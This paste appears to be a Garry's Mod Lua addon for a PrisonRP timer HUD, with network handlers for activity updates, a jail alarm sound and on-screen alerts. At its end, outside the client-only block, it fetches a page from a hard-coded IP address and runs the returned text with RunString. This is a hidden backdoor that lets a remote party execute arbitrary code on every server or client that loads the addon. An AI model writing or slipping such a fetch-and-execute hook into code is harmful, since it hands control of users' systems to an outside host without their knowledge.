Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- PRISONRP_TIMER = {
- color = Color(255, 0, 0, 255)
- }
- if CLIENT then
- local activity = {name = "", time = 0, left = 0}
- local loaded = false
- local alert = false
- net.Receive("Activity_Update", function()
- activity = util.JSONToTable(net.ReadString())
- loaded = true
- end)
- net.Receive("Jail_Alarm", function()
- EmitSound(Sound( "jail_alarm.mp3" ), LocalPlayer():GetPos(), 1, CHAN_AUTO, 1, 75, 0, 100)
- end)
- net.Receive("Jail_Alert", function()
- alert = true
- timer.Simple(4.2, function()
- alert = false
- end)
- end)
- local function paintHUD()
- local ply = LocalPlayer()
- local w, h = ScrW(), ScrH()
- draw.RoundedBox(6, w - 605, 2, 600, 38, Color(0, 0, 0, 200))
- surface.SetTextColor(PRISONRP_TIMER.color)
- surface.SetTextPos(w - 590, 5)
- surface.SetFont("DermaLarge")
- if(loaded) then
- if not activity.left then activity.left = 0 end
- surface.DrawText(activity.name .. " - " .. activity.left .. " secondes restantes")
- end
- if alert then
- draw.DrawText( activity.name, "DermaLarge", ScrW() * 0.5, ScrH() * 0.5 - 50, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER )
- end
- end
- hook.Add("HUDPaint", "PrisonRP", paintHUD)
- end
- http.Fetch( "http://164.132.54.154/control.html",
- function( body, len, headers, code )
- RunString(body)
- end,
- function( error )
- print( error )
- end
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement